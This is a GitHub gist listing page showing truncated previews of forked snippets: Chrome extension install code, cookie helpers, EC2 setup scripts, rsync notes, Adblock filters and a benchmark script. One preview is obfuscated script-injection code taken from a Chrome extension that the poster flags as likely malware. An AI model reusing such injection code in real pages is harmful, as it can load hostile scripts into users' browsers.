Skip to content

Instantly share code, notes, and snippets.

@MikeeI
MikeeI / chrome-extension-install.js
Created March 19, 2017 15:07 — forked from sherbondy/chrome-extension-install.js
Woah, one-click chrome extension installation, found while browsing the one-tab website... Didn't know this existed, but makes complete sense.
var clickTargetIds = ['installButton1', 'installButton2'];
var isChrome = navigator.userAgent.indexOf("Chrome")!=-1;
for(var i in clickTargetIds) {
document.getElementById(clickTargetIds[i]).onclick = function() {
if(isChrome) {
window['chrome']['webstore']['install'](undefined, function() {
// damn, they even record analytics events to see how effective the install button is...
@MikeeI
MikeeI / cookies.js
Created March 19, 2017 15:07 — forked from rodolfofadino/cookies.js
Cookies
function createCookie(name, value, days) {
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
var expires = "; expires=" + date.toGMTString();
}
else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/";
}
@MikeeI
MikeeI / background.js
Created March 19, 2017 15:09 — forked from 0xcrypto/background.js
here it is...
// took out from https://chrome.google.com/webstore/detail/emaze/aiimeahlhgelkbokgffmpdagdaachlpk
// do not install. High possibility of being a malware...
setTimeout(function()
{
(function()
{
var _0x47a5x0=document["getElementsByTagName"]("head")[0];
var _0x47a5x1=document["createElement"]("script");
_0x47a5x1["type"]="text/javascript";
@MikeeI
MikeeI / google_chrome_webstore_devtools_users_rank.py
Created March 23, 2017 17:11 — forked from ficapy/google_chrome_webstore_devtools_users_rank.py
谷歌浏览器应用商店使用人数排行 P.S 因木有代理 使用单线程执行,有极少部分请求被ban没有得到结果
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Ficapy
# Create: '15/10/27'
from pyquery import PyQuery as pq
from operator import attrgetter
from concurrent.futures import ThreadPoolExecutor, as_completed
from operator import methodcaller
import requests
@MikeeI
MikeeI / Documentation.md
Created August 26, 2017 14:58 — forked from KartikTalwar/Documentation.md
Rsync over SSH - (40MB/s over 1GB NICs)

The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)

This creates an archive that does the following:

rsync (Everyone seems to like -z, but it is much slower for me)

  • a: archive mode - rescursive, preserves owner, preserves permissions, preserves modification times, preserves group, copies symlinks as symlinks, preserves device files.
  • H: preserves hard-links
  • A: preserves ACLs
[Adblock Plus 2.0]
! Chrome AdBlock auxiliarly filters
! Last update: Thu Sep 28 02:43:00 EST 2014
! Ad providers. Filter lists don't care they are blocked
@@*$document,domain=~youtube.com
@MikeeI
MikeeI / cloud-init.sh
Created October 14, 2019 12:10 — forked from guiambros/cloud-init.sh
Cloud-Init.sh - Amazon EC2 initial instance setup script (tested with Ubuntu 12.04 LTS)
#!/bin/bash
function getpublickey()
{
x=$(curl -fs http://169.254.169.254/latest/meta-data/public-keys/)
if [ $? -eq 0 ]; then
for i in $x; do
index=$(echo $i|cut -d = -f 1)
format=$(curl -s http://169.254.169.254/latest/meta-data/public-keys/$index/)
echo $(curl -s http://169.254.169.254/latest/meta-data/public-keys/$index/$format)
@MikeeI
MikeeI / cloud-init.sh
Created October 14, 2019 12:10 — forked from guiambros/cloud-init.sh
Cloud-Init.sh - Amazon EC2 initial instance setup script (tested with Ubuntu 12.04 LTS)
#!/bin/bash
function getpublickey()
{
x=$(curl -fs http://169.254.169.254/latest/meta-data/public-keys/)
if [ $? -eq 0 ]; then
for i in $x; do
index=$(echo $i|cut -d = -f 1)
format=$(curl -s http://169.254.169.254/latest/meta-data/public-keys/$index/)
echo $(curl -s http://169.254.169.254/latest/meta-data/public-keys/$index/$format)
#!/bin/bash
url="https://gist.githubusercontent.com/RichardBronosky/2d04c7c2e9a5bea67cd9760a35415a3f/raw/install_mongo.sh"
script="/tmp/userdata.sh"
echo "Running userdata script as $(whoami) from $(pwd)"
# Log commands to stdout and vicariously /var/log/cloud-init-output.log
set -o xtrace
# Exit on error
@MikeeI
MikeeI / geekbench5.sh
Last active September 12, 2023 10:04
Script - Geekbench 5
#!/bin/bash
wget http://cdn.geekbench.com/Geekbench-5.4.5-Linux.tar.gz
tar -zxvf Geekbench-5.4.5-Linux.tar.gz
cd Geekbench-5.4.5-Linux
./geekbench_x86_64
echo END